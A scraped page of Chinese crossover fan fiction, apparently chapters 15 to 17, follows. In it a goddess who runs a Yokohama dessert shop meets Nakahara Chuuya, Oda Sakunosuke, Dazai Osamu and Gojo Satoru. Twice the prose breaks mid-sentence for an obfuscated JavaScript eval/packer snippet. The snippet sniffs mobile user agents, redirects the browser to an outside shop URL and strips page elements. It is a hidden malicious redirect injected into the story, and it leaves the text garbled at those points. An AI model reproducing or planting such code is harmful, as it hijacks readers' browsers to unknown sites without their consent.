我眼前一亮,扬起笑颜开心道:“那朗姆酒松露巧克力如何?使用朗姆酒、黑巧克力、甘纳许和可可粉制成,不会太甜,带点微苦。” “甘纳许?” 中原中也抬眸看来,听见陌生的名词不禁好奇询问。 “甘纳许由巧克力和奶油按比例混合而成,也是巧克力的一种。” 说完后,我立刻反应过来,“啊,中原先生今天要开车吗?” “我没开车,就这个吧。” 中原中也朝我点头,端起咖啡杯喝了一口。 他挑起眉头,说:“咖啡不错。” “谢谢夸奖!” 我抱紧托盘,言语有力地回应。 我走到吧台后,将冷藏的朗姆酒松露巧克力拿出来,均匀放在白色圆形碟子上,最后洒上巧克力碎。 做完这些,我拿出一个沙漏,倒放在托盘上,最后小心翼翼地踩着平稳的步伐,不让圆形的巧克力四处翻滚。 “朗姆酒松露巧克力从冷藏柜拿出来后在室温静置好几分钟才能达到最佳口感。” 我拉开他对面的椅子坐下,“这个沙漏漏完后,就可以品尝啦。” 他看过来,点头表示理解。 “你还真是喜欢甜点呢。” 中原中也唇角微勾,感叹出声。 我双手叉腰,自信满满地说:“这是专业!” “嗨嗨。” 他靠在椅子上,看着我加大唇边的笑意。 “中原先生。” 我正了正神色,坐直身体,严肃道:“我有个问题。” 中原中也一怔,敛起唇边淡淡的笑意。 “怎么了?” “难道遇到什么麻烦……” 他的语气紧张起来,蹙眉问道。 “中原先生,你——” 我十指交叉抵在唇边,认真问道。 中原中也正襟危坐,眼眸凌厉不少。 “你和当年的那个太宰,是恋人关系吗?” 中原中也呆住了。 “哈?” 他表情空白,嘴里吐出发出疑问声。 在这一刻,中原中也不理解这些字是怎么能够组合成一句话的。 “诶?” 一道不算陌生的声音响起。 窗外,一个身着沙色外套的男人驻足,不可置信地看过来。 他睁大眼眸,瞳孔颤抖。 “原来这就是太宰一直单身的原因吗?” 我看过去,男人赤铜色的发被风吹拂,手里提着公文包,仿佛晴天霹雳似的僵住了。 织田作之助。 我一下子认出了他。 四年前,我在横滨街上听见他的愿望,灵魂离体以丰月神的形态出现在他面前,以“五元”为代价,实现了他的愿望。 由于当时戴着鹿角面具,所以现在他并未认出我来。 “叮铃——” 门被用力推开,蜜璃拉着伊黑先生跑进来,啪地一下拍在中原中也面前的桌上。 “中原先生对吧?你要是喜欢男人的话,就不要接近我家小月!” 我张大嘴巴,蜜璃这番义愤填膺的话让我也呆住了。 伊黑小芭内:“???” 织田作之助:“!!!” 在微妙的沉默中,中原中也彻底爆发了。 “我才不喜欢男人!我跟太宰治怎么可能是恋人关系???” “还有织田!你这表情是怎么回事???你不会真信了吧!你不是混蛋太宰的朋友吗——这种胡话也信?!” “藤原,你和你的朋友到底为什么会有这种误解!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802529|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他怒气冲冲地喊道,最后抬手扶额,长叹一声。 牙白。 看来真的误解了。 我垂下脑袋,真诚道歉:“对不起,中原先生。” 中原中也额角跳起,抬起手伸出食指重重戳了下我的额头。 “这是惩罚!” “唔!” 他的力道不轻,额头传来一阵疼痛。 我捂住额头,小心翼翼看向中原中也。 “因为当年在山崖上,你和那个太宰吵架,说要让你穿女仆装什么的……” 随着我的狡辩,中原中也的脸色越来越黑,最后几乎要黑成焦炭。 “那个混蛋……” 他咬牙切齿,握拳猛地锤在桌面。 盘子里的松露巧克力跳起来,滚到正中央。 正好,沙漏里的沙,漏完了。 “我——唔!” 中原中也一张嘴,我眼疾手快地用银叉切开巧克力,送入他嘴里。 他露出怔愣的神色,眼里的恼意被诧异覆盖。 舌尖弥漫黑巧的苦味,包裹其中的甘纳许在口腔内融化,形成丝滑的奶油口感,就在甜味侵袭味觉之时,黑朗姆的酒香和风味中和了甘纳许的甜腻。 中原中也第一次吃到口感层次如此丰富的朗姆酒松露巧克力,完胜以前在宴会上吃到的那些。 他垂眸看向蛋糕碟,被切开的松露巧克力内陷暴露在空气中,心里的火气奇妙地被这巧克力的味道浇灭了。 “好吃。” 中原中也不自觉感叹出声。 我谄媚地端起碟子,凑到中原中也眼前,笑嘻嘻道:“中原先生,真的对不起,原谅我吧。” “再吃一个消消火气——” 他微微一怔,望进我湿漉漉的可怜双眸,最终松开紧皱的眉。 “真是的,真想打开你的脑子看看平时都脑补了什么。” 见他不生气了,我讪讪一笑,再次道歉。 呆站在窗外的织田作之助听出这是一场误会后,顿时露出哭笑不得的表情。 一旁,蜜璃看向我,视线在脖子上的宝石停留,蓦地看向中原中也的眼眸。 “小月。” 蜜璃眨着明亮的叶绿色双眸,轻轻戳了下我的肩膀。 “中原先生送你的海蓝宝的颜色,跟他瞳眸的颜色好像。” 我缓慢眨了下眼睛,歪头冒出问号。 织田作之助听罢,视线在项链和中原中也身上来回看去,诚实发言:“确实很像。” 瞬间,中原中也脸颊爆红。 “这是巧合——” “当时只是觉得这宝石的颜色好看,所以就买了!” “毕竟当初欠了这家伙人情,还礼而已!” 我慌乱起身,椅子摩擦地面发出刺耳声。 “哪有什么人情,是我当时拖后腿才对。” 中原中也一怔,压低帽檐,缓缓吐出一口气。 再抬眼时,他表情冷静,沉声道:“是我给你添麻烦。” 我张了张唇,见他脸上的冷意,抿紧唇不语。 蜜璃慌张地左看右看,欲言又止。 “伊黑先生,我是不是说错话了……” 她回过头,挂着海带泪委屈巴巴道。 伊黑小芭内从看戏的状态中回神,轻抚蜜璃的后背。 “你没说错话,你只是维护朋友而已。” “伊黑先生真好呢~??” 我露出无奈的神色,学着中原中也刚才戳我的样子,伸出食指轻轻戳了下他的帽子。 “中原先生,当年的事情早就过去了,你再介意的话我就要生气了。” “然后这份松露巧克力和咖啡我都不免单,要以十倍的价格卖给你。” 中原中也按住帽子怔怔然看着我,忽然噗嗤一声笑出来。 “藤原,你的思维太跳脱了吧。” 见他扫去眉间的忧色,我勾起唇角,笑容灿烂道:“以后常来照顾我的生意就好啦。” 中原中也沉默下来,没有回答。 “不行?” 我沮丧地垂下脑袋,失落叹道,“刚开业呢,生意时好时坏……唉。” 蜜璃听见我的话,心虚地移开视线,默默后退一步降低存在感。 中原中也嘴角一抽,对上我殷切的目光,最终点头答应。 “……我知道了。” 于是,我看向织田作之助,热情询问。 “这位先生,需要买点什么吗?” 织田作之助看向店内的甜品柜,似是想起了谁,脸上神色温柔。 “有草莓蛋挞吗?打包五份。” “不好意思,再加一份。” “好嘞——” 我和蜜璃齐声回道。 杯中咖啡见底,中原中也吃完巧克力,看向忙碌的吧台,悄然起身踏出店外。 但风铃发出声音,提醒了店主人。 “中原先生,有空常来哦。” 我看向门外正要离开的中原中也,朝他喊道。 他回眸看来,唇角微勾,浮现浅淡的笑意。 织田作之助提着打包好的甜点,站在门口与中原中也点头示意,走向与中原中也相反的方向。 16.甜品屋(五) 16 傍晚,夕阳的余晖落进店内。 我端着托盘游走在桌椅间,为客人奉上甜点。 理子将客人吃完的餐碟刀叉收好,放回烘焙室的水池里。 蜜璃站在点单机前,用元气的微笑为客人下单。 “叮铃——” 风铃声响起,门被推开。 “麻烦来杯冰美式,谢谢。” 略微沙哑的声音传来。 我看向门口,见到了前两天刚见过的人。 织田作之助提着公文包,还是穿着上次见过的沙色外套。 他眼下青黑,脸上浮现疲惫的神色。 我和理子眼前一亮,兴致冲冲地走到织田作之助面前,“欢迎光临,请问您要点些什么?” “看您似乎有点累,不如来杯热可可,搭配薄荷布朗尼如何?” 织田作之助机械点头,步伐虚浮地在窗边的椅子坐下。 他从公文包里拿出文稿,一页页翻阅,周身弥漫沮丧的黑气。 【丰月神大人,我这次的稿件又被编辑打回来了,说是最后的结局不太圆满,观众不喜欢这样的开放式结局。】 【杀人只要一颗子弹,要写出大家都喜欢的作品,却要花掉我许多生命。】 织田作之助对神诉说的心声,在我大脑中响起。 “织田先生,是不是小说写得不顺呢?” 理子面露担忧之色,轻声道。 我无声摇头,竖起食指。 “嘘,还是不要打扰他吧。” 我将热可可和薄荷布朗尼放在织田作之助手边,微微一笑道:“祝您用餐愉快。” 织田作之助一怔,迷茫地看过来。 “说起来,上次听到你的声音就觉得有点熟悉……” “我们有在哪里见过吗?” 他努力提起精神,坐直身体,似乎是觉得自己的话有些不妥,还未等我回答又道:“抱歉,是我唐突了。” 我笑着不说话,沉默离开他身边。 这么敏锐,不愧是前杀手。 正当我准备端着其他客人的热可可经过时,发现织田作之助趴在桌子上睡着了。 “织田先生看起来熬了好几个通宵的样子。” 蜜璃在我耳边说道。 “嘛,这大概是成为小说家的必经之路吧。” 我勾起唇角,神色温和。 * 织田作之助从出版社回来,路过海滨公园对面的商业街时,鬼使神差地停在时光甜品屋门口。 上次,他在这里买了六份草莓蛋挞。 太宰和孩子们都对这家的甜品赞不绝口,还说下次一定要再打包回来。 织田作之助打了个哈欠,通宵三天的他实在是顶不住,抬脚踏进店内,准备坐下休息。 名叫藤原的甜点师和店员理子热情地迎上来,像他推荐提神的饮品和甜点。 看来,他的疲惫已经变成大字写在脸上了。 织田作之助看向甜点师藤原,她的声音有些耳熟。 大概是睡眠不足导致的迷离,他竟然向一名女性问出类似性//骚扰的话。 还未等到饮品端上来,织田作之助趴在桌子上小憩时不小心睡着了。 久违地,他梦到了四年前—— Mimic侵入横滨,引发大规模动乱。 安吾失踪,Boss让我寻找他的行踪。 森林里建筑物的爆炸,与安吾一同跳到地面的草坪上。 一颗手鞠落在脚边,他下意识捡起来,却被手鞠上的毒毒晕过去。 梦境就像电影一样,记忆力的一幕幕在大脑中回放。 一直到他站在狼狈的自由轩饭店里,老板躺在血泊中悄然断气。 充满血迹的桌面上,一张地图和敌人留下的信刺目得很。 孩子们被挟持了。 织田作之助用尽全身力气,拼命在街上追赶前方横冲直撞的大巴车。 肺部在燃烧,烧得喉咙发疼。 大巴车摇摇晃晃极速前行,就像车内孩子们摇摇欲坠的生命。 神明大人,拜托您,替我救下那些孩子们—— 不祥的预感久久不散,他在心中哀求,急切的情感化作祈愿,强烈的情感终于唤来了一位紫衣神明。 就像一滴水珠落在地面,神明悄无声息出现在他眼前。 如紫藤花色的和服衣摆飘起,宽大的衣袖如蝶翅扬起。 白色鹿角面具之下,一道平静却温柔的女声传出。 “是你在呼唤我吗?” 紫粉色头纱在空中飞舞,藏在头纱中的飘带与棕发交缠,抚过他的眼角。 “五元。” “以五元为代价,许你一切愿望。” 神明伸出手,白皙的五指覆盖淡淡的光泽。 织田作之助从口袋里掏出买玩具找零的五元硬币,放入神明手中。 神明撵起硬币,将硬币弹到半空,发出叮地微响。 “你的愿望,我听见了。” 她张开五指,手中出现一柄软刀,刀身折叠收在刀柄处。 “丰苇原中国,在此引起骚乱者,吾丰月神降临于此,臣服于理器之威,除种种污秽障壁,斩!” 神明提起软刀,嘴里吐出铿锵有力的声音。 紧接着,一道白光闪过,前方疾驰的大巴车从中间辟开。 挟持孩子们的mimic士兵双目泛白,滚落地上失去了意识。 孩子们漂浮在空中,毫发无损。 织田作之助在一瞬间,似乎看见了大巴车上盘踞的丑陋怪物。 神明立于半空,轻轻抬手,将被mimic夺走的孩子们还了回来。 一眨眼,孩子们抱住他哭泣,空中再也不见神明的身姿。 被劈成两半的大巴车里安置的定时炸弹时间一到,依照程序产生爆炸。 爆炸声响彻整个大街,肉//体被烧焦的气味弥漫在空气中。 两日后,他安顿好孩子们,与太宰联手剿灭了mimic。 “织田作,既然决定不杀人,就不要杀人了,那些家伙我会替你解决。” “只要你答应我这个条件,我就答应你任何要求。” “好。那太宰,跟我一起去光明的世界吧,那样或许你能看见什么不一样的东西,至少比起待在黑暗的世界里,会好受的多。” “我答应你。” 梦的最后,画面定格在Lupin酒吧里,他与太宰叛逃前的对话。 他睁开眼,身体的疲惫消去许多。 热可可的香气弥漫在鼻间,一个紫色马克杯被推过来。 织田作之助看着眼前白皙修长的手指,恍然与那位神明的手重合。 作为杀手的习惯,总是会留意一些细微的地方。 “热可可和薄荷布朗尼,请您慢用。” 一缕棕发垂到眼前,在半空晃动。 他怔了怔,坐直身体抬眸看去,望进明亮温和的棕色瞳眸里。 这一瞬间,这位甜点师的声音似乎与梦中的神明重合。 织田作之助微微睁大眼眸,一个莫须有的猜测涌上脑海。 很快,他不敢细想,生怕对神明大不敬。 “这个不是之前就上过了……” “啊,我看您睡着了,就帮你先收回来,热可可帮您换过了一杯,薄荷布朗尼是您先前那份,在您睡着期间我拿回去冷藏了。” 面对甜点师藤原的笑容,织田作之助有些不好意思。 “谢谢。” 真是大意,给人家添了麻烦。 甜点师藤原抱着托盘回到吧台,与其他店员说说笑笑。 那样真实的笑容,分明是一个人类。 织田作之助抛掉心里的猜测,端起热可可喝了几口。 身体的热量慢慢上涌,他在拿起薄荷布朗尼放入嘴里,一口下去,酥脆的巧克力外皮破裂,发出细微的咔嚓声,中间绿色的薄荷巧克力口感软糯,像蛋糕又像是软糖。 巧克力浓郁的可可风味与薄荷的清冽在舌尖涌现,就像吞下包裹薄荷味冰淇淋的巧克力,刺激神经的同时又安抚了疲惫的身体。 他露出呆愣的神色,呢喃道:“给安吾打包带过去吧,他应该还在加班。” “再来一份热可可和薄荷布朗尼,外带。” “收到!” 名叫理子的店员活力满满地回道。 * 横滨海边山崖上的森林里,朱红的鸟居坐落在台阶之上。 神社周围的结界被怪物撞击,发出幽蓝的光泽。 数只咒灵捂住脑袋哀嚎出声,脑袋撞到结界的地方焦黑一片。 我握紧链剑,脚下用力跃出结界,身上覆盖白色光泽。 “丰苇原中国,在此引起骚乱者,吾丰月神降临于此,臣服于理器之威,除种种污秽障壁,斩!” “净化——” 咒灵被链剑削成几块后,不断缩小变成半透明的死灵。 【小月,这次我们的配合也很完美!】 理子的声音在脑海里响起。 我看向手中的神器,温柔笑道:“是呢。” “不过,最近咒灵是不是越来越多了?竟然白天就聚集起来了……” 我眉头紧蹙,不解道。 【难道又有地下组织发生大规模战斗了?】 抓几只妖怪问问就知道了。 人群复杂压抑的地区和有战斗和流血的地方总是容易产生时化,被吸引过来的咒灵越来越多。 我冲进森林里,随手抓了一个小妖怪询问。 要说横滨情报最多的地方,无非就是这些人类看不见的小妖怪。 他们有时候会在某些组织秘密聚集的地方看热闹,因此知道不少事情。 眼前这只被我抓住的倒霉蛋独眼小妖说,有人在暗网发布了赏金70亿的捕获任务,横滨区域的地下组织和mafia们蠢蠢欲动,闹出不少人命。 “啧。” 我放开独眼小妖,任他在我的视野中消失。 我回到神社鸟居上盘坐,透过白色鹿角面具上的孔洞,看向前方的神社。 神社只有一个本殿,殿前是香火箱和手水舍,右侧树下放有绑绘马的木架。 绘马上写有歪歪扭扭的字体,是孩子们想要实现的愿望。 我从鸟居上跳下,站在绘马前。 木架上多了几个新的绘马,全部都是同一个愿望。 ——希望织田作这次的小说能够大卖! 我笑弯眼眸,认真看着这间属于我的神社。 神社很小,却是有人为我用心修葺的。 前年,神社修好的瞬间,我在高天原的土地从一个九十平米宅基地的面积扩大到两百平。 当时,我抱着理子感动得啪嗒掉泪。 【是那几个小孩写的吧。】 对呢。 【小月也不容易呢,这些年新增的信徒就只有织田作先生和他收养的孩子们。】 嘛,毕竟我们这些年大部分时间在法国。 【织田先生很用心,让我们在高天原住上了大房子!】 可不!光凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812864|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一点,我愿意将织田先生周围的危险全部清除! 理子化作人形,站在神社的拜殿前,“小月,我回高天原看看,我们的房子有段时间没打扫了。” “嗯,去吧。” 我点头应道。 一道金光闪过,通往高天原的门打开又闭合。 我坐在神社屋顶,浅紫色和服铺在屋檐上。 与白色鹿角面具连接的头纱在风中轻轻晃动,渐渐放松紧绷的神经。 此刻,我是灵体状态,身体在甜品屋里的换衣间沉睡。 即便是灵体,只要全身覆盖神力,也能实体化。 不过就跟夜斗和小福他们一样,就算实体化,人类很难注意到我的存在,除非我开口说话。 而灵体的状态,通过给人类的眼睛覆盖神力,可以让人类看见我。 “织田作——难得的休息日,为什么要来打扫神社?” 抱怨的声音从鸟居下的楼梯传来。 片刻,我看见织田作之助和一个黑发男人踏上台阶。 黑发男人穿着沙色风衣长外套,身形修长,五官俊朗,无精打采地睁着鸢色双眸。 竟然是太宰治。 织田作之助和太宰治认识啊。 我勾起唇角,饶有兴味地观察他们。 太宰治提着一桶水放在鸟居前,双手放进口袋里。 “我还是帮你打水吧。” “太宰,这次还是不进来看看吗?” 织田作之助手里拿着抹布和扫帚,侧身看去。 太宰治蹲下身坐在台阶上,长腿一伸,开始赖皮。 “不要不要不要!” 织田作之助无声叹气,放下手中的打扫用具,在太宰治旁边坐下。 “自从我把这个神社建好后,你就从来没踏过这个鸟居。” “以前你不想说就算了,这次也不想说吗?” 一行蚂蚁伴着树叶从脚边路过,太宰治眼神微颤,注视蚂蚁行进的路线。 他微微张唇,说:“我害怕。” “害怕什么?” 织田作之助看向天空,一行飞鸟从森林上方飞过。 “害怕我这个罪恶深重之人踏进去,神明大人就不会庇佑你了。” 太宰治抬眸看着织田作,语气轻缓。 “太宰,我发现你现在越来越活回去了,就像不满十岁的小孩。” 织田作之助唇边浮现浅笑,垂眸看向地面的蚂蚁。 “说起来,太宰你不是不信神吗?” “本来是不信的,但我知道神是存在的。” 太宰治伸出手掌,一片绿叶缓缓落入掌心。 “四年前,织田作你说的话虽然荒谬,但我能判断出,你所说的全都真实存在。” “其次,从那时候的现场分析,大巴车爆炸是绝对的,你也阻止不了爆炸的发生,孩子们注定会死去,但最后孩子们毫发无损地活下来了。” “只有奇迹出现,才能完成这种不可能事件。” 我在神社屋顶上注视着他们,对太宰治的话感到惊讶。 七年前的他眼里充满阴鹜、黑暗和绝望,现在的他眉眼倾尽温柔,敛起周身的倒刺。 我用神明的双眼,清晰地看清他身上缠绕的黑气。 那些是以前血腥的生活中积攒的怨,是那些因他而死去之人最后的不甘。 黑气并未影响太宰治,或许他内心的本质从未改变,隐藏着比这些黑气更深的东西。 黑发下鸢色的双眸在阳光下藏着隐隐光亮,他似乎在荒芜的世界里,看到了什么让他感觉不错的东西。 “所以。” “我还是不进去的好,我希望这位丰月神大人,不要因为我讨厌你。” “神不都是容不下污秽的圣洁存在吗?” 太宰治的话乘着风传来。 我站起来,用神力托起身体,朝太宰治飞去。 他说错了。 这个世界这个土地的神,本身是没有善恶之分的,理论上可以为所欲为。 但上天为束缚神,神做出的行为必须要基于善,否则会堕落成魔。 所以神通过神器,学习人类的善恶之分。 只要神是在基于善做出的行动,就算是杀人也未尝不可。 太宰治站在鸟居前面向神社,看着织田作之助将抹布放进水桶里。 我降落在太宰治身后,抬脚踹向他的屁股。 太宰治睁大眼眸,屁股出现一股不存在的推力,迫使他往前摔去。 他踉踉跄跄往前迈步,跨过了鸟居,啪叽一下摔倒地上。 太宰治朝台阶看去,没有任何人的身影。 织田作之助眉头微蹙,注意到太宰治身上不合常理的现象。 太宰治从地上爬起来,清风吹起额前的发丝。 恍然间,他感到有谁轻拍了一下他的头顶。 蓦地,萦绕在周身的寒意消失了,一股暖意包裹着他,肩膀变得轻松起来。 “织田作——!!!” 太宰治尖叫起来。 “有什么非人的存在踢了我一脚——” 织田作之助抬手握拳,在他的脑袋上重重一敲。 “很明显不是吗?” “丰月神听见你的话,发表了不赞同的意见。” “她并不认为你是罪孽深重之人。” “太宰,神是认可你的。” 太宰治捂住脑袋,他呆呆地看着织田作之助,眼眶蓦地泛红。 我站在鸟居上弯眉一笑,闭上眼睛悄然回到自己的身体里。 17.甜品屋(六) 17 午后,风铃叮铃作响。 我坐在吧台后昏昏欲睡,经不住困意打了个哈欠。 蜜璃和理子正忙着收拾客人的餐具,我忙里偷闲在吧台后歇着。 昨晚忙到后半夜,现在的精力属实告急。 迷迷糊糊间,有脚步声响起,然后停在前方。 “藤原,这就是你说得生意时好时坏?” 蓦地,前方中原中也的声音。 我瞬间清醒,看见中原中也单手扶腰,视线放在几乎满座的店内。 我哈哈笑了声,直视他的双眼,真诚道:“因为还想再看见中原先生嘛。” “就说了一点小小的慌。” “我们不是朋友吗?虽然多年没见了呢。” 多活一世,脸皮也越发厚了。 说完,我在心里唾弃了一遍自己。 蜜璃和理子拿着托盘对视一眼,眼前一亮。 蜜璃将托盘放在吧台上,在一旁捂住唇瓣,抓住理子的围裙,小小声道:“呀!小月好大胆!” 理子瞪圆眼睛,眼里闪着八卦的光,看着中原中也大为震撼。 这就是那位中原先生! 眼睛就像蜜璃说的那样,真的跟小月的海蓝宝宝石一模一样。 可惜——那天我为什么要那么积极出去采购材料! 理子为没看到蜜璃口中的画面感到惋惜。 下一秒,她看见中原中也因为自家神明的话表情不自然起来,眼神飘忽不定地盯着菜单发呆。 理子看向蜜璃,开始说起悄悄话。 理子:“他害羞了?” 蜜璃:“好像是呢!” 理子:“话说七年过去,中原先生居然还这么在意小月?” 蜜璃:“理子酱,不要小瞧男人的愧疚。” 她们声音极小,动作隐秘。 我嘴角一抽,看出她们正在背地里蛐蛐中原中也。 于是,我走出吧台,挡住他好奇看来的视线。 中原中也轻咳一声,转移视线看向餐牌,说:“要一杯冰美式,谢谢。” 突然,甜点屋的再次被推开,轻挑的声音随之传来。 “小月!理子!蜜璃!好久不见——” “听说你们开了一家甜品店,我特地过来尝尝!” 一个身着高领藏青制服的男人站在门口,白发竖起,双眼被黑布遮住。 他双手揣进兜里,四处张望。 我看向白发男人,一瞬间表情僵硬,迅速切换成嫌弃的神色。 “啊咧,不欢迎我?” 白发男人松开门把手,一下子跑到吧台前,一张帅脸怼过来。 我抬起手将他推远,没好气道:“来者皆是客,怎么会不欢迎?” 白发男人歪了下脑袋,“那为什么一副嫌弃的样子?” “悟!看到你我就会想起当时身体的疼痛!” 我额角跳起,握拳咚地一声敲在吧台上。 五条悟加大唇边的笑意,拿出手机三百六十度无死角拍摄。 “好可爱呢,发给我的学生们看好了。” 在闪光灯中,我看了眼中原中也,忍住将五条悟踹开的冲动。 不能破坏淑女的形象。 忍住啊—— 中原中也瞪圆了眼睛,一个响雷在身后劈过。 这种暧昧不清的话! 互相还叫得这么亲密? 他们是什么关系! 他眸中泛起冷意,探究的目光落在白发男人身上。 五条悟察觉到一丝杀气,视若无睹,声音跳脱道:“这位帅气的帽子先生,我脸上有什么吗?” 中原中也语塞,慢慢松开握紧的五指。 “你们是什么关系……?” 五条悟挑起眉头,突然大手一伸越过吧台揽住我的肩膀,亲昵地蹭过来。 “我和小月呢,是知道私密之事的关系哦。” 中原中也一怔,复杂的视线落在我身上。 我额角跳起,抄起托盘往五条悟脑袋上砸去。 五条悟往后一闪,“好险好险。” “中原先生,不要误会,我们只是朋友关系。” 我气呼呼说道。 “这个人有时候就会说一些奇怪的话,不要在意。” 中原中也脸上表情一松,“是、是吗?” 五条悟似乎是嗅到了八卦的味道,一个猛子凑到中原中也面前,两人的口鼻之间只于一寸。 “难道你在吃醋?” “哇哦。” 他发出戏谑的声音。 蜜璃和理子站在一旁,正两眼放光,视线热烈地投向中原中也。 中原中也呼吸一窒,猛地后退一步,黑色大衣在空中浮动。 “你在说什么!” 他仓皇道。 五条悟没有搭理中原中也,反而拍拍我的肩膀,语重心长道:“这个人真的好吗?” “感觉是混、黑的,还不如我这个人民教师呢。” 中原中也一惊,诧异地看过去,眉间划过警惕的神色。 这个男人到底是开玩笑还是认真的? 他脸上不动神色,沉声道:“我是宝石公司的经理,才不是你说的那样。” “嗨嗨。” 五条悟不在意道。 “诶,原来中原先生是宝石公司的经理啊。” 我惊讶道。 哪家公司的经理不穿正式的西装,反而穿着这种帅气有风范的西服。 我好奇地望进他的眼眸中,“在哪家宝石公司?” “就是那边的森会社。” 中原中也回答。 好好好。 是mafia啊! 我早就从小妖怪的口中听说,坐落在横滨港湾附近的五座高耸的黑色大楼,不是什么森会社集团,而是盘踞横滨多年的mafia龙头。 我微微一笑,“是吗?好厉害,是大公司的经理呢。” 中原中也颔首,道:“嗯。” 他抿了抿唇,在我的注视下一瞬眼神漂移,心虚地压下帽檐。 五条悟看看我,又看看中原中也,突然抿唇偷笑。 随即,他将挂在手腕间的三个袋子放在吧台上,将中原中也挤到一旁。 “这是祝贺礼物哦。” “三位,恭喜开店!” “啊,这个是蜜璃的,这个是理子的,这个是你的。” 我接过五条悟硬塞过来的袋子,感叹道:“我还以为你只是随口一说,毕竟你那么忙……” 五条悟轻笑,道:“这点时间还是有的。” “顺便一提,连几秒钟的时间都没有,一直说很忙很忙的男人不能要哦。” 他勾起唇角,蓦地看向中原中也。 中原中也额角跳起,怒道:“为什么看我啊混蛋!” 五条悟摇摇头,轻笑:“我只是觉得你的帽子很好看,怎么会觉得在看你呢?” 中原中也深吸一口气,决定不搭理这个白毛。 这神经的脑回路,跟某个人有点相似。 让他火大得很。 对于这种人,最好不要搭理,否则对方就会越来劲,直到把你逼得跳脚。 他退到一旁,径直在离吧台最近的圆桌坐下。 理子打开袋子,从中拿出三个手掌大小的礼盒。 “诶,难得悟你在百忙之中记得过来,而且还带了礼物。” 蜜璃拿起浅绿色的礼盒,眼眸亮晶晶问:“谢谢——哇,悟先生真有心。” 五条悟抱起双臂,愉悦笑道:“那当然!” 我们三人拆开礼盒,盒子里躺着的事颜色和形状不同的胸针。 蜜璃的是粉色樱花胸针,理子的是蓝色海豚,我的是黑白熊猫。 “好可爱——” 我们齐声喊道。 五条悟听罢,顿时昂首挺胸,十分骄傲。 “也不看看是谁选的。” “我的咖啡!” 中原中也忍无可忍,故意加大了声音。 我看过去,意识到忽略了他,顿时不好意思道:“抱歉抱歉,现在给你做哈。” 最后,中原中也拿着冰美式,恶狠狠地瞪了五条悟一眼,踩着重重的步伐离开了。 “啊咧,中原先生对吧?逗他真好玩。” 五条悟哼哼一笑,发出恶魔般的声音。 我嘴角一抽,看向他的脑袋,仿佛有尖尖的耳朵在抖动。 “悟先生想吃什么?” 蜜璃将胸针戴在胸前,高兴地询问。 五条悟在甜品展示柜扫视一圈,正要开口说话,被我打断了。 “毛豆奶油小蛋糕怎样?新品哦。” 我弯起眉眼,主动向他推荐一款甜点。 五条悟打了个响指,应道:“嗯,就这个。” “不愧是小月,还记得我的爱好。” “呐呐,真的不考虑不考虑我?” 听见五条悟开玩笑的语气,心知他又在逗人,下意识拒绝。 “等悟什么时候穿女装在店门口跳舞的时候,我就考虑一下。” “啊,真过分。” “谢谢。” “还要一杯拿铁,要很多很多糖的那种。” “嗨嗨。” 五条悟坐在窗边的椅子上,他取下眼罩,脑袋上的头发瞬间塌下来。 隐隐散发光泽的蓝眸暗下来,周围的无下限术式被取消了。 “呀!那个人好帅——” “跟藤原小姐她们很熟的样子,是朋友吧?” “不知道能不能去要联系方式呢……” 店内,女生们的窃窃私语的声音响起。 五条悟勾起唇角,看向正讨论他的少女,摆出帅气的pose。 于是女生们默认这是同意拍照的动作,纷纷兴奋地掏出手机。 一时间,店内咔嚓声四起。 理子端着托盘走到五条悟旁边,挨个将毛豆奶油小蛋糕和糖分max的拿铁放在桌面上。 “悟,你总是吃这么甜,小心蛀牙。” 五条悟看向理子,“不会,放心。” “平时我用脑比较多啦。” 他抬手摸向理子的脑袋揉了揉,放轻语气。 理子无奈道:“好吧好吧。” 我看着五条悟脸上的笑容,想起四年前发生的事情,轻轻一叹后露出微微笑意。 之前所说的身体疼痛,是理子得知自己名字,想起人类记忆时瞬间妖魔化带来的刺痛。 越是使用净化之力,身体的疼就愈发肆虐。 而理子会知道自己的名字,是因为五条悟的出现。 * 木色的桌面上,白色蛋糕碟里放有直径约莫食指长的圆柱形小蛋糕,侧面的淡绿色奶油以旋转型的姿态向上聚合,顶端有一半柠檬片、糖塑制成小雏菊花朵和青提组合而成的装饰。 五条悟端起蓝色咖啡杯放在唇边,鼻尖萦绕拿铁蕴含的咖啡香气和加满糖分的甜腻。 他浅酌一口后放下,“嗯,果然加了很多砂糖呢。” 五条悟看向旁边的水杯,端起被子仰头喝了一口。 不愧是甜点师小月和蜜璃,害怕他的特殊口味会影响品尝蛋糕时的口感,还特地备下漱口的水。 “说起来,四年前遇到小月和理子的时候,手里提着喜久福的毛豆奶油味大福呢。” 他轻声呢喃。 * 四年前的夏季,五条悟接到任务,需要去熊本县的某个废弃车站祓除特级咒灵。 他刚一到达废弃车站,就看见一名戴白色鹿角面具,身着紫色和服的“咒术师”在与特级咒灵周旋。 五条悟第一次看见有人的咒具是一柄长而细软的软刀,且还穿着跟夏日祭祭典似的服装。 他从未听说过有谁的惯用武器是软刀,也未听说过有谁要去熊本县参加夏日祭的祭典办做神明。 不过,五条悟倒是听说咒灵众多的地方,会有神降落到人世间,帮忙祓除咒灵。 但从来没有人见到过,包括他。 五条悟觉得有意思,便在远处的房顶上观摩这一场战斗。 